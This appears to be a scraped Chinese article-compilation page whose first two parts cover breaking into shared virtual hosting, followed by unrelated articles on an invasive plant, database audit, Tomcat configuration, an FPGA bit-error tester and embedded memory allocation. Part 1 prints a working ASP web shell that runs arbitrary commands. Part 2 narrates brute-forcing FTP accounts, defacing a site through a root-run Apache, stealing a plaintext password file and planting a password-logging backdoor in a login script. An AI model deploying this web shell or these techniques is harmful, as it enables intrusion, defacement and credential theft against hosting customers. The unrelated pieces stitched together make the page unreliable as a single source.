欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>一种入侵虚拟主机的简单方案

一种入侵虚拟主机的简单方案

2023-07-09 08:28:14 收藏本文 下载本文

“爱你一万年”通过精心收集,向本站投稿了8篇一种入侵虚拟主机的简单方案,下面是小编整理后的一种入侵虚拟主机的简单方案,欢迎大家阅读分享借鉴,欢迎大家分享。

一种入侵虚拟主机的简单方案

篇1:一种入侵虚拟主机的简单方案

下午突然的一个想法,就是利用一个ASP程序(1K多点)来攻破整个虚拟主机,照着自己的想法居然真的能突破虚拟主机,不过又多了一份担心,如果真的这样,那网络岂不是又无安宁之日了,先让大家看这个ASP的程序:

<%@ Language=VBScript. %>

<%

Dim oScript

Dim oScriptNet

Dim oFileSys, oFile

Dim szCMD, szTempFile

On Error Resume Next

Set Script. = Server.CreateObject(“WSCRIPT.SHELL”)

Set ScriptNet = Server.CreateObject(“WSCRIPT.NETWORK”)

Set FileSys = Server.CreateObject(“Scripting.FileSystemObject”)

szCMD = Request.Form(“.CMD”)

If (szCMD “”) Then

szTempFile = “C:\” & oFileSys.GetTempName( )

Call oScript.Run (“cmd.exe /c ” & szCMD & “ >” & szTempFile, 0, True)

Set File = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>

<%= Request.ServerVariables(“URL”) %>“ method=”POST“>

<%= szCMD %>”>

<%

If (IsObject(oFile)) Then

On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll)

oFile.Close

Call oFileSys.DeleteFile(szTempFile, True)

End If

%>

对于搞编程的人来说U飧龈本不算难,只不过是一个小小的后门程序而已,

但是否想过这个的功能呢?让我说下自己的一些思路吧!

比如你买了一个空间V皇且桓鲂槟庵骰的空间而已,也许上面有30个网站,更或者说是50个,甚至更多。如果你把上面这个文件传到空间的一个目录上,然后再到浏览器上执行,你会发现它有本地执行cmd.exe的功能,当然我指的是一般用户的功能。一般情况下,虚拟主机中会保留这样一个备份文件user.txt,里面包括了一些空间用户的资料以及密码,可以说这个都是人们习惯了。就算你没有,当然我也可以得到一切的一切,暂且让我称自己的空间为A吧,然后我要看到了空间B上有好多好多东西,那我就可以直接通过dir命令查找,也许你无意中会发现一个login.asp的文件,不烦用type的命令打开看看吧!哦,一层一层的推过去,很方便的就可以查看到了你想要的数据库文件。再或者这样吧,COPY命令说大多搞计算机的人都会用吧,你也可以把他的文件拷贝到你空间的目录上,然后再下载到本地慢慢看。还有很多的命令那就等着你自己去慢慢的摸索吧,就算是得到主机的用户密码也不再算是困难了。

特别提醒的是论坛V灰在论坛里添加一个可以上传ASP的选项目,这个主机也就可以用上述的方法入侵了。请各大论坛引起注意。

我把这个思想写出来2⒉皇墙写蠹胰ジ阏庑┲骰,而是想让广大用户引起注意。由于参照这篇文章而导致的后果与作者无关。上面提到的这个ASP后门程序可以到www.qiker.com/down/cmdasp.rar

现在想到的防范方法只有限制目录权限

篇2:入侵实例看虚拟主机系统的安全问题(上)

其实早就有写这个文章的想法,一直没有写的原因是因为恐怕这无形为一些乐于此道的人提供了一种方法,但想想说了也许就能多少对一些IDC们起一定的压力,加强一些安全方面的措施,不然的话苦的是那些广大的虚拟主机用户,哪天被黑了,都傻傻的不知道怎么回事,当然,在我写出这个来的时候,我也是已经确定我所提及的大部分问题都已得到解决,下列所述的IP、域名、用户名、密码、路径、文件名等等都已被我更换,不是实际的,而且是合并了2个以上服务商的问题,凑成一起说,各位看官无需将我所述影射到国内的任何一个虚拟主机服务商身上,

事情发生在半年以前,那时候20CN还没有成立,因为某些原因,我想要干掉一个网站,(没错,确实就是这样,别把俺想得太高尚),首先当然是找个扫描器扫一下端口,发现这是一部很标准的UNIX主机,开着telnet,ftp,smtp,pop等,开着这么多的端口,似乎很好搞,当时这么想,谁知道仔细一看,各个服务程序的版本都没有什么中级以上漏洞,不仅没有远程的溢出,连本地的都似乎没有,只好试试看有没有CGI方面的漏洞,一扫下来,也是几乎没有什么可以利用的,就在他网站上四处看看,发现有个一会员注册的程序,为了得到目标的进一步资料,我就注册一下了,结果收到一份邮件,发现发件人为 ab1234@abc.com,但这个网站的域名确是def.com,奇怪,照这个看来,这个好像是虚拟主机,在IE上打入 IP202.96.100.10看看,结果出来的是XXX公司xxx虚拟主机什么什么#*#%@!%^&#@乱七八遭一广告,没错了,这是个虚拟主机。而他在这个主机上的用户名是ab1234,得到了用户名,首先进行ftp的简单穷举,没用,看来密码还是设得比较好,既然你的破不了,那么破了别人的和你的距离也就再接近了一点了,所以看看别人的如何,于是从用户 ab1200--ab1300一个一个来,很快,ab1210的密码出来了很简单的8888,我理所当然的用user:ab1210 pass:8888 telnet 了进去,但我要干掉的是ab1234的而不是ab1210的,所以就去ab1234的目录

%cd

%cd home

%ls

一堆用户目录

%cd ab1234

:Permission denied

没错,这正常,进不了其他用户的目录,但是没关系,既然进来了,干掉他的机会就有80%了,现在先到处看看再说,结果发现了这部主机运行了3个独立的apache,一个在80端口、一个在91端口、还有一个在92,80的不用说,但91、92这些又是干什么的呢?看看再说,在IE上输入202.96.100.10:91/ 出来要一个身份验证的对话框,好,那就输入刚刚的ab1210 ,8888,进去了原来这是个用户管理界面,可以在这里设置邮件,改密码什么的,既然用web可以做这些事,那这个apache似乎不可能是nobody身份运行了,找到他的httpd.conf一看,天~~~~~~,user root ,这就意味着,如果这个apache 的cgi-bin目录下的任何一个文件对其他人可写,我就可以是root,只不过不是控制台上的root而已,我必须修改那个可写的文件的内容,让他变成是我的命令,然后通过浏览器用apache来运行他。于是

%cd /var/www/manager/cgi-bin

%ls

:Permission denied

呀呀,进得来却不能读

%cd ..

%ls

:Permission denied

混蛋

$cd ..

%ls

%htdocs cgi-bin backup manager

嘿嘿,backup,备份,一般来说,管理员备份的时候一般都为了省事没有设定权限,看看能不能进

%cd backup

%

可以

%ls -la

drwxr-xr-x 7 root wheel 512 Jul 20 07:02 .

drwxr-xr-x 4 root wheel 512 Jul 3 01:49 ..

......

-rw-r--r-- 1 root wheel 25642628 Jul 3 01:49 manager_00_05_12.tar

......

嘻嘻,看到没有,果然有manager目录的备份,还是644,可以下回去慢慢看看啦,先把他复制到ab1210的htdocs目录,这是ab1210这个用户的网站的根目录

%cp manager_00_05_12.tar /home/ab1210/htdocs/manager.tar

%cd

%cd htdocs

这个manager.tar超大,25M ,先压缩一下,然后打开IE下载,输入ab1210的域名/manager.tar.gz,下回本地慢慢看,半小时之后,终于弄清楚这个程序的原理,也知道了在那些目录下有哪些重要的文件,包括了在/home/sysadm下面似乎有个一用户的明文密码文件userpw,也知道了在这个apache的cgi-bin目录下有个一data的目录是任何人可写的,这样就好办啦

%cd /var/www/manager/cgi-bin/data

%touch hacked.html

%touch cp.php3

%vi hacked.html

开始骂的内容,就是没法输入中文,没办法,凑合

:wq

%

%vi cp.php3

copy(“/var/www/manager/cgi-bin/data/hacked.html”,“/home/ab1234/htdocs/”);

?>

:wq

%

接下来用IE打开 202.96.100.10:91/cgi-bin/data/cp.php3,出来一片空白,呵呵,那就是完成啦,再打开那个网站的主页看看,没错, 就这样把这网站给改掉了!

到此,干掉这个站的任务是完成了,不过我现在的兴趣却是要看看这个主机里面的一些敏感数据了,还用刚刚的方法,改变 cp.php3的内容,把所有要得文件写进去,全部复制到ab1210的htdocs目录打个包,用IE下载了回去,果然,刚刚说到的那个/home/sysadm下面有个明文的密码文件userpw确实就是这部主机上的所有用户的用户名和密码列表,这个似乎是用来做忘记密码是取回的文件,呵呵,包括了ab1234这个要干掉的站的密码也在内,一共1500个用户的密码在我手里了,通过对下载回来的manager目录里的程序和刚刚那些文件的分析,我对这个主机的结构已经相当清楚了,也发现了这个sysadm的用户似乎有很高的权限,而且它是wheel组的,有su root 的权力,好奇心促使我想要进一步的探索到他的整个机群,

当然,我完全可以用刚才的方法写个脚本改变sysadm 或是 root的密码,然后随心所欲的干,但这样一来,明天我可能就进不来了,他们发现了root密码被改,肯定会查清楚问题所在了,现在需要得到的是sysadm的密码,这个密码在刚刚那个userpw中是没有的,我估计他们每一部主机的sysadm的密码应该是相同的,这样我可以得到其他的主机的控制权,但现在还没有明确的知道要怎么做,所以先来看看那个运行在92端口的apache是干什么的再说,同样用IE来看,202.96.100.10:92/,还是要输入密码,输入ab1210 ,8888 ,不行,用其他的用户进入,也不行,剩下的只有一些系统账号和sysadm这个了,再回到本地来看看第一次下载回来的那个manager.tar,他当中也包括了那个运行在92端口的程序,看看发现这个是他们内部用来管理用户的程序,管理员可以通过这个程序增加删除用户,设定用户的空间限制等等,这个程序的登陆限制比较严格,除了有apache目录保护之外,还有IP段限制,只允许一个特定的IP段登陆,还有就是只有在/etc/usercan这个文件中列入的用户名才可以登陆,密码就还是使用系统的密码,usercan这个文件我刚刚没有取回来,现在还是用刚才改主页的方法,把这个文件复制到ab1210的目录

%cat usercan

sysadm

没错,就只有一个人可以登陆,就是sysadm,我现在需要的是sysadm的密码,当然,那个shadow过的密码文件我已经也取回了,不过我想这么重要的密码,应该不会简单的,穷举显然不是办法,所以,我修改了这个身份验证的程序index.cgi,增加了如下代码

open(FH,“>>/etc/passwd.org”);

print FH “$passwd n”;

close(FH);

这样,当管理员登录的时候,他的密码将被写到/etc/passwd.org这个文件当中,我只要等着他登陆就行了,改好之后,用ftp上传,还用刚刚的方法,不过这次是搬回去,覆盖掉系统上原来的index.cgi。

接下来,当然就是清除刚刚留下的各种痕迹,这个就不再废话了。第二天,继续用ab1210登录

%cat /etc/passwd.org

cat: passwd.org: No such file or directory

看来到现在管理员还没有登陆过,只好继续等啦,到了晚上,再次登录,这下有了,

%cat /etc/passwd.org

D1C2B3A4

D1C2B3A4

%

这样,我得到了一个应该可登录到他们的每一部主机上的同属root组的用户sysadm,密码D1C2B3A4,我已经看过/etc/ttys,虽然在那个管理系统上sysadm不能从其他IP登录,但是操作系统本身并没有限制sysadm不能telnet。

接下来,就来看看他们多少部这样的主机,方法很简单,在202.96.100这个IP段扫出有91这个端口的就是了,一看有6部,随便找个试试看,成功了,可以进,证实了我的想法没错,sysadm可以登陆任何一部主机,而且密码是一样的,至此,这个IDC的所有UNIX虚拟主机的一共几千个客户的网站的生杀大权以掌握在我手里,只要我头脑一发热,一个简单的脚本就可以把所有的这些网站的主页改了,只要在那个管理程序中增加几个#,就可以把所有的用户删个一干二净,幸好我那段时间正好和网上一个MM打得火热,而生意也有点小钱赚,心情还算非常良好,不然可能就不会有20CN了,你也不会看到我这文章,因为要是当时把他们给改了或是删了,我今天名气应该比红客们大得多,但现在没准就是在监狱里呆着

好了,本次的入侵可以说是到一段落了,按照通常的入侵实例的写法,好像到了我要说我就给那管理员发份邮件,告知问题所在的时候了,但是你错了,我并没有这么做,为什么?下回分解

篇3:鸡矢藤一种入侵北京的植物

鸡矢藤一种入侵北京的植物

生物入侵,最近几年媒体时有报道,一般指有意或无意引进的外源物种在本地野生环境下过度繁殖而导致某种生态问题.我们可能都听说水葫芦,紫茎泽兰等“可怕”的植物.不过,北京冬天较冷,这两种植物即使夏季玩命繁殖,在北京的野外环境下也过不了冬,所以完全不必担心.我倒是发现一种植物比较可怕,但还未见专家提醒.

作 者:刘华杰  作者单位:北京大学科学传播中心 刊 名:科技潮 英文刊名:SCIENCE & CULTURE SCIENCE-TECH WAVES 年,卷(期): “”(2) 分类号: 关键词: 

篇4:一种基于入侵检测的数据库安全审计

一种基于入侵检测的数据库安全审计

数据库审计是数据库安全的重要组成部分.它包括了日志记录和日志分析两个部分.然而传统的数据库审计系统往往只是一个简单的日志系统,而并不具备对日志进行分析的.能力.即使存在审计分析能力,也往往具有语义不足,不易定义的特点.DBIDAUD模型使用入侵检测方法来实现数据库的审计分析能力,在DBIDAUD模型中存在一个规则库,其中定义了入侵检测知识,审计员通过定制规则库来定制系统的安全策略.模型具有丰富的语义和较高的效率,能够用来实现高安全数据库的审计系统.国产OSCARSEC安全数据库使用DBIDAUD实现了审计中心子系统.满足了国家安全标准四级的要求,在航天内部得到了充分的应用.

作 者:王渊 马骏 WANG Yuan MA Jun  作者单位:中国航天科技集团神舟软件公司,北京,100036 刊 名:计算机仿真  ISTIC PKU英文刊名:COMPUTER SIMULATION 年,卷(期): 24(2) 分类号:V448.25+3 关键词:数据库审计   入侵检测   审计阈值  

篇5:Tomcat虚拟主机配置方案(域名解析)For Windows/Linux(最完全版)

一、打开tomcat安装目录下conf/server.xml这个文件

在server.xml文档中找到

接着添加上面添加以下内容(暂时先说分为三种方式):

第一种:

timestamp=“true”/>

以上的内容就是在Tomcat的webapps目录下新建一个www文件夹作为www.haokan946.cn这个域名的主目录

第二种:

suffix=“.txt” pattern=“common” resolveHosts=“false”/>

以上内容的意思就是在C盘test文件夹下面建立一个www文件夹作为test.5sai.net.cn这个域名的主目录

第三种,如果是linux系统的/var/www作为test.5sai.net.cn这个域名的主目录的话内容如下:

suffix=“.txt” pattern=“common” resolveHosts=“false”/>

再补充一种

directory=“/var/log/tomcat”   prefix=“www_5sai_access_log.” suffix=“.txt”

pattern=“common”/>

directory=“/var/log/tomcat”   prefix=“www_5sai_log.” suffix=“.txt”

timestamp=“true”/>

域名www.haokan946.cn的主目录为/var/www 该站点的所有访问LOG放在/ar/log/tomcat里面

测试:

windows用户打开C:\WINDOWS\system32\drivers\etc的hosts这个文件,

linux用户打开/ect的hosts文件或者vi /ect/hosts

修改内容如下

127.0.0.1      localhost

127.0.0.1     www.haokan946.cn

127.0.0.1      test.5sai.net.cn

本文来自CSDN博客,请标明出处:blog.csdn.net/forever_bin/archive//04/27/4131005.aspx

篇6:一种基于FPGA的误码性能测试方案

一种基于FPGA的误码性能测试方案

摘要:提出了一种基于FPGA的误码测试方案,并简要介绍了该方案的设计思想。

关键词:误码仪 数字 微波传输 ACEX1K 系列FPGA

在数字通信系统的性能测试中,通常使用误码分析仪对其误码性能进行测量。它虽然具有简单易用、测试内容丰富、误码测试结果直观、准确等优点,但是,价格昂贵、不易与某些系统接口适配,通常需要另加外部辅助长线驱动电路;此外,误码分析仪对于突发通信系统的误码性能测试存在先天不足。例如,在对TDMA系统上行链路误码性能测试时,只有通过外加接口,对连续数据进行数据压扩,才能为被测设备模拟出突发形式的数据,从而完成测试。这给测试工作带来极大的不便。

另一方面,现今的通信系统大量采用FPGA作为系统的核心控制器件。将物理层上的各协议层的功能集中在FPGA内部实现,不仅提高了通信系统的集成,同时也减少了硬件和软件设计的复杂度。

基于上述两方面的考虑,笔者在FPGA内部实现了一个简易的多功能误码分析仪。该误码仪主要有三方面优点:一是可以根据用户需要,以连续或突发的方式产生若干种不同的随机序列或固定序列,并据此测试数字通信系统的误码性能;二是测试结果可以误码率或者误码数两种形式,通过外围器件直观地显示出来;三是作为被测系统的一个嵌入式模块,便于功能扩展及系统调试。

1伪随机序列(m序列)

许多数字通信理论的结论都基于这样一个假设:原始的信源信号为0、1等概并相互独立的随机数字序列。同样,实际数字通信系统的设计,也是基于相同假设。因此,为使测试结果尽可能真实地反映系统的性能,采用伪随机序列(m序列)作为测试中传输的信号。

M序列是一种线反馈移位寄存器序列,其原理方框图如图1所示。每级移位寄存器的输出被反馈系数Ci加权(Ci可以取1或0),经模2和运算再反馈到第一级。令第一级的输入为ak,就有:

根据反馈系数的取值不同,电路可以产生出各种具有不同特性的数字序列。对于一定的移位寄存器级数r,存在一些特殊的Ci取值,使得输出序列的周期达到最长,即为2r-1。这样的序列被称为最长线性反馈移位寄存器序列,即m序列。

2误码仪测试原理

该误码仪由发端模块和收端模块两部分组成。发端模块产生连续或者突发的比特流,作为通信系统的信源数据;收端模块接收通信系统输出的比特流,并将其与本地产生的、与发端形式相同的比特流进行比较,从而完成误码测试。从逻辑上看,误码仪的工作过程大致可以分成以下几个步骤:

(1)发端模块产生原始数据,并使其通过被测通信系统构成的信道;

(2)收端模块产生与发端相同码型、相同相位的数据流;

(3)将收到的数据流与收端产生的本地数据流逐比特地比较,并进行误码统计;

(4)根据误码统计结果,计算出相应的误码率,并输出误码指示。

误码仪收端模块所面临的最主要问题是如何准确地实现本地产生的m序列与收到的数据流同步,即比特对齐,这是整个误码仪正常工作的前提。为了适应各种不同类型的通信系统,根据m序列的性质,采用随动同步的方法解决这个问题。图2给出了随动同步的原理框图。

通过上述讨论知道,周期为2r-1的m序列发生器由r级移位寄存器组成。同时,由r个比特所能组成的所有序列(除全零序列外)都会在m序列的一个周期内遍历,且相应的前后位置固定。因此,如果两个具有相同逻辑结构的m序列发生器在某一时刻所有寄存器状态完全相同,则由这两个m序列发生器所产生的数字数据流保持同步。随动同步就是根据m序列的这个性质实现的。

3误码仪逻辑结构

发端模块

本误码仪的发端模块实质上是一个多功能的序列发生器。用户可以通过相应的控制信号,指定其m序列发生器的线性反馈逻辑。由它产生的数字数据流将作为仿真数据送出到需要进行误码性能测试的数字通信系统中。

收端模块

收端模块在逻辑上可以分成两个功能子模块:一是m序列发生子模块,二是误码统计子模块。前者的逻辑功能与发端模块相类似,其作用是产生一个与发端形式相同并且比特对齐的本地m序列;后者的作用是将收到的数据与本地m序列相比较,同时统计误码指标,从而完成

对数字通信系统的误码性能测试。

在测试过程中,接收到的数字序列被不断地逐次移入接收数据缓冲器中。在接收序列中,任意截取包含r个连续比特的片断(其中r为发端m序列发生器的阶数),将其置入本地m序列发生器的移位寄存器中,作为其初始状态,并假定此时收发双方已同步在这个状态。此后,本地m序列发生器与接收数据缓冲器同步移位输出。这样,只要对两个序列逐位比较,就可以进行误码统计了。需要特别注意:如果截取的数据片断中包含误码,则据此得出的收发双方已同步的结论是错误的。这样的数据片断将导致整个误码统计过程失去意义,不妨称这种情况为同步。为了消除假同步的影响,需要一种保护机制,用以确保收发双方的正常同步。

根据上述思想,笔者设计的收端模块的状态机由4个状态组成,分别为搜索态(SEARCH)、预同步态(PRESYN)、同步态(SYN)和等待态(WAIT)。各个状态所完成的功能如下:

搜索态(SEARCH):在该状态下,当接收数据缓冲器中出现非全零状态时,其中的序列被置入收端m序列发生器的移位寄存器中,同时进入预同步状态。

预同步态(PRESYN):在该状态下,本地m序列发生器输出本地比特流,并使其与收到的数据流进行逐位比较,同时进行初步的误码统计。如果统计结果指示误码高于某一事先选定的阈值,则说明电路进入了假同步,于是需要返回搜索态重新同步。反之,则可以较大的概率认为收发双方已经同步。反之,则可以较大的概率认为收发双方已经同步,电路进入同步态。

同步态(SYN):在该状态下,电路将进行正式的误码统计,并且在指定的测试周期结束时进入等待状态,同时输出误码测试结果。

等待态(WAIT):误码测试尚未启动以及测试结束时所处的状态。在该状态下误码仪等待再一次误码测试的启动信号。

收端模块的逻辑状态转移图见图3。

4测试结果的输出

通常,误码测试结果可以以误码数和误码率两种形式输出。大多数取代传统误码分析仪的其它误码测试方案均采用易于实现的误码数形式输出测试结果,但种方式受到输出位数的限制而无法适应高误码率或需要进行长时间统计的测试环境。但是,误码率的计算又常常需要进行除法运算,而在FPGA或其它可编程逻辑器件中实现除法运算通常要消耗掉大量的'逻辑资源,有时甚至超过了实现主要功能所需的资源。

事实上,在一般的工程实践中,人们通常关心的只是误码率的量级,因而误码仪也就没有必要准确地计算出实际的误码率。根据这一想法,该误码仪采用某种近似的实际的误码率。根据这一想法,该误码仪采用某种近似的估计算法,避免了意义不大的除法运算,而以较少的资源消耗实现了对误码率的估计。下面简要介绍该估计算法。

在误码测试逻辑中,接收到的总比特数与误码个数均以二进制方式存储在内部的逻辑向量中。它们最高非0比特所处的位置之差实际上反映了误码率的指标不。这样只要根据这个差值就可以大致估计出误码率,同时复杂的除法运算也被简单的减法运算所代替。

例如:当收到总特数为“00……01110110110”误码计数值为“00……0110”时,总比特数的最高非0位为第10位,误码计数值为第3位,差值为7,误码率近似为1/27,即7.8×10-3,与实际误码率6.3×10-3相当。

采用近似算法可能造成的最大系统误差是输出误码率的50%.但是,在通信系统的误码性能统计中,这样的误差并不会影响对系统误码率数量级的判断。因此,作为调试使用的简易误码性能的测试算法是完全可行的。

篇7:一种嵌入式系统的内存分配方案

①快速性。嵌入式系统中对实时性的保证,要求内存分配过程要尽可能地快。因此在嵌入式系统中,不可能采用通用操作系统中复杂而完善的内存分配策略,一般都采用简单、快速的内存分配方案。当然,对实性要求的程序不同,分配方案也有所不同。例如,VxWorks采用简单的最先匹配如立即聚合方法;VRTX中采用多个固定尺寸的binning方案。

②可靠性。也就是内存分配的请求必须得到满足,如果分配失败可能会带来灾难性的后果。嵌入式系统应用的环境千变万化,其中有一些是对可靠性要求极高的。比如,汽车的自动驾驶系统中,系统检测到即将撞车,如果因为内存分配失败而不能相应的操作,就会发生车毁人亡的事故,这是不能容忍的。

③高效性。内存分配要尽可能地少浪费。不可能为了保证满足所有的内存分配请求而将内存配置得无限大。一方面,嵌入式系统对成本的要求使得内存在其中只是一种很有限的资源;另一方面,即使不考虑成本的因素,系统有限的空间和有限的板面积决定了可配置的内存容量是很限的。

2 静态分配与动态分配

究竟应用使用静态分配还是动态分配,一直是嵌入式系统设计中一个争论不休的总是。当然,最合适的答案是对于不同的系统采用不同的方案。如果是系统对于实时性和可靠性的要求极高(硬实时系统),不能容忍一点延时或者一次分配失败,当然需要采用静态分配方案,也就是在程序编译时所需要的内存都已经分配好了。例如,火星探测器上面的嵌入式系统就必须采用静态分配的方案。另外,WindRiver公司的一款专门用于汽车电子和工业自动化领域的实时操作系统OSEKWorks中就不支持内存的动态分配。在这样的应用场合,成本不支持内存的动态分配。在这样的应用场合,成本不是优先考虑的对象,实时性和可靠性才是必须保证的。当然,采用静态分配一个不可避免的总是就是系统失去了灵活性,必须在设计阶段就预先知道所需要的内存并对之作出分配;必须在设计阶段就预先考虑到所有可能的情况,因为一旦出现没有考虑到的情况,系统就无法处理。这样的分配方案必须导致很大的浪费,因为内存分配必须按照最坏情况进行最大的配置,而实际上在运行中可能使用的只是其中的一小部分;而且在硬件平台不变的情况下,不可能灵活地为系统添加功能,从而使得系统的升级变得困难。

大多数的系统是硬实时系统和软实时系统的综合。也就是说,系统中的一部分任务有严格的时限要求,而另一部分只是要求完成得越快越好。按照RMS(Rate Monotoin Scheduling)理论,这样的系统必须采用抢先式任务调度;而在这样的系统中,就可以采用动态内存分配来满足那一部分可靠性和实时性要求不那么高的任务。采用动态内存分配的好处就是给设计者很大的灵活性,可以方便地将原来运行于非嵌入式操作系统的程序移植到嵌入式系统中,比如,许多嵌入式系统中使用的网络协议栈。如果必须采用静态内存分配,移植这样的协议栈就会困难得多。另外,采用动态内存分配可以使设计者在不改变基本的硬件平台的情况下,比较灵活地调整系统的功能,在系统中各个功能之间作出权衡。例如,可以在支持的VLAN数和支持的路由条目数之间作出调整,或者不同的版本支持不同的协议。说到底,动态内存分配给了嵌入式系统的程序设计者在比较少的限制和较大的自由。因此,大多数实时操作系统提供了动态内存分配接口,例如malloc和free函数。

3 RTOS提供的内存分配接口

不同的RTOS由于其不同的定位,采用不同的内存分配策略。例如VRTX中,采用类似于GNU C中由Doug Lea开发的内存分配方案,即Binning算法,系统内存被分成了一些固定尺寸的内存块的算法,系统内存被分成了一些固定尺寸的内存块的集合。这种方法的优点是查找速度快而且不会产生内存碎片。但是,它的缺点也很明显,就是容易造成浪费,因为内存块的尺寸只有有限个,分配时只能取较大的内存块来满足一个较小的需求,累积起来,浪费就很大了;而且操作系统管理这样一个内存分配表也是一个很大的负担。

下面详细介绍一下我们常用的RTOS――美国风河公司(WindRiver)的VxWorks中采用的内存分配策略。VxWorks的前身就是VRTX,据说VxWorks的名称来自make vrtx work。

VxWorks的内存管理函数存在于2个库中;memPartLib(紧凑的内存分区管理器)和memLib(完整的内存分区管理器)。前者(memPartLib)提供的工具用于从内存分区中分配内存块。该库包含两类程序,一类是通用工具创建和管理内存分区并从这些分区中分配和管理内存块;另一类是标准的malloc/free程序提供与内存分区的接口。系统内存分区(其ID为memSysPartId是一个全局变量)在内核初始化时由usrRoot调用memInit创建。其开始地址为RAM中紧接着VxWorks的BSS段之后,大小为所有空闲内存,如图1所示。(本网网收集整理)

当创建其它分区时,一般需要先调用mallo

c从系统内存分区中分配一段内存才能创建。内存分区的结构定义为mem_part,包含1个对象标记,1个双向链表管理空闲块,1个信号量保护该分区及一些统计信息,如总尺寸、最大块尺寸、调试选项、已分配的块数、已分配的尺寸等。其语句如下:

typedef struct mem_part {

OBJ_CORE objCore; /*对象标志*/

DL-LIST freeList; /*空闲链表*/

SEMAPHORE sem; /*保护分区的信号量*/

Unsigned totalWords; /*分区中字(WORD)数*/

Unsigned minBlockWords; /*以字为单位的最小块尺寸*/

Unsigned options; /*选项,用于调试或统计*/

/*分配统计*/

unsigned curBlocksAllocated; /*当前分配的块数*/

unsigned curWorkdAllocated; /*当前分配的字数*/

unsigned cumBlockAllocated; /*累积分配的块数*/

unsigned cumWordsAllocated; /*累积分配的字数*/

}PARTITION;

一般系统中只有1个内存分区,即系统分区,所有任务所需要的内存直接调用malloc从其中分配。分配采用First-Fit算法(注意这种算法容易导致大量碎片),通过free释放的内存将被聚合以形成更大的空闲块。这就是VxWorks的内存分配机理。分配时可以要求一定的`对齐格式。注意,不同的CPU架构有不同的对齐要求。为了优化性能,malloc返回的指针是经过对齐的,为此的开销随构不同而不同。例如,68K为4字节对齐,开销8字节;SPARC为8字节对齐,开销12字节;MIPS为16字节对齐,开销12字节;I960为16字节对齐,开销16字节。

MemLib库中提供了增强的内存分区管理工具,并且增加了一些接口,而且可以设置调试选项。可以检测2类错误:①尝试分配太大的内存;②释放内存时发现坏块。有4种错误处理选项,当发生错误时记录消息或挂起任务。

但是,使用动态内存分配malloc/free时要注意到以下几方面的限制。①因为系统内存分区是一种临界资源,由信号量保护,使用malloc会导致当前调用挂起,因此它不能用于中断服务程序;②因为进行内存分配需要执行查找算法,其执行时间与系统当前的内存使用情况相关,是不确定的,因此对于有规定时限的操作它是不适宜的;③由于采用简单的最先匹配算法,容易导致系统中存在大量的内存碎片,降低内存使用效率和系统性能。

针对这种情况,一般在系统设计时采用静态分配与动态分配相结合的方法。也就是对于重要的应用,在系统初始化时分配好所需要的内存。在系统运行过程中不再进行内存的分配/释放,这样就避免了因内存的分配释放带来的总是。而且在系统初始化,因为没有内存碎片,对于大的内存块的需求容易满足。对于其它的应用,在运行时进行动态内存分配。尤其是某些应用所要求的大量固定尺寸的小内存块,这时就可以采用一次分配多次使用的内存分配方案。下面详细介绍这种内存分配方案及其应用场合。

4 一次分配多次使用的内存分配方案

在嵌入式系统设计中,经常有一些类似于内存数据库的应用。这些应用的特点是在内存中管理一些树,比如以太网交换机中的MAC地址表、VLAN表等,或者路由器中的路由表。这些树是由许多相同尺寸的节点组成的。这样,就可以每次分配一个大的缓冲池,比如包含多个内存单元的数组,每个内存单元用于1个节点。我们用一个空闲链表来管理该数组中的空闲内存单元。每次程序需要分配内存以创建1个新的节点时,就从空闲链表中取1个单元给调用者。程序删除节点并释放内存时,将释放的内存单元返还给空闲链表。如果链表中的空闲内存单元取空了,就再次调用malloc从系统内存中分配一个大的内存块作为新的缓冲池。采用这样一种方案主要有如下优点:①减少了malloc/free的调用次数,从而降低了风险,减少了碎片;②因为从缓冲池中取一个内存单元是时间确定的(当然,如果缓冲池耗尽从而需要重新调用malloc分配除外),因此它可以用于严格时限的场合从而保证实时性;③它给用户以自由来添加一些用于内存分配和释放的调试函数以及一些统计功能,更好地监测系统中内存的使用情况。

这种方案必然涉及到一个缓冲池的结构。一般缓冲池的结构由以下几部分组成:单元尺寸、块尺寸(或者单元数目)、缓冲池指针、空闲链表、用于统计和调试的参数等。对缓冲池的操作包括创建缓冲池、释放缓冲池、从缓冲池中分配1个内存单元、释放内存单元回缓冲池等。下面举2个例子说明一下该方案的具体使用情况。

4.1 Intel交换机驱动程序中内存分配

在以Intel的交换芯片为基础的交换机方案中,因为采用的是软件地址学习的方式,需要在内存中维护许多数据,如MAC地址表的软拷贝、VLAN表、静态单播地址表、组播地址表等。这些表都是由一些树组成,每个树由一些固定尺寸的节点组成。一般每个节点几十个字节,每棵树的节点数是可增长的,少则几十,最多可到16K个节点。因此,很适合于采用该方案,具体的实现如下:

(1)缓冲池结构BlockMemMgr

typedef struct{

MemSize data_cell_size; /*数据单元的尺寸*/

MemSize block_size; /*块尺寸*/

/*下面的变量为预定义的每个管理器最多包含的块数,如64

MAX_BLOCKS_OF_MEM_SIZE*/

Unsigned short blocks_being_used;/*已使用的块数*/

Void mem_ptr[PAX_BLOCKS_OF_MEM_SIZE];

/*块数组*/

SLList free_data_cells_list; /*空闲链表*/

}BlockMemMgr;

结构中的参数包括:单元尺寸、块尺寸、已用块数、所有块的地址、空闲链表(单向链表)。

(2)缓冲池的管理函数

◆block_mem_create:创建块内存管理器,参数包括内存指针(如为NULL,表示自己分配)、块尺寸、单元尺寸、返回管理器指针。

过程如下:

①检验参数合法性。

②单元尺寸4字节对齐,计算每个块中的单元数。对内存指针进行4字节对齐或者分配内存指针。

③初始化结构BlockMemMgr,包括单元尺寸和块尺寸。设置第1个内存块的指针。如果内存是外来的,设置块已用标志(已用为0),表示不能增加块;否则,已用块数设为1。

④创建空闲链表,将块内所有单元添加到链表中,最后一个单元处于链表的最前面。

⑤返回BlockMemMgr。

◆block_mem_destroy:解构一个块内存管理器,释放它所分配的所有内存,调用者负责外部内存的释放。参数为BlockMemMgr。返回成功失败标志。

①参数合法性检测。

②删除单向链表(设链表指针为NULL)。

③如果块是动态分配的,释放它们。

④释放结构BlockMemMgr。

◆block_malloc:从块内存管理器中分配1个单元

⑤释放结构BlockMemMgr

◆block_malloc:从块内存管理器中分配1个单元。参数为BlockMemMgr,返回数据单元指针。

①参数合法性检测。

②判断空闲链表是否为空(是否为NULL)。如果为空,判断是否可以动态分配块,如果不能,返回失败;如果可以动态分配块,则分配1个块,执行与block_mem_create一样的操作。

③从空闲链表中分配第1个单元,返回其指针。

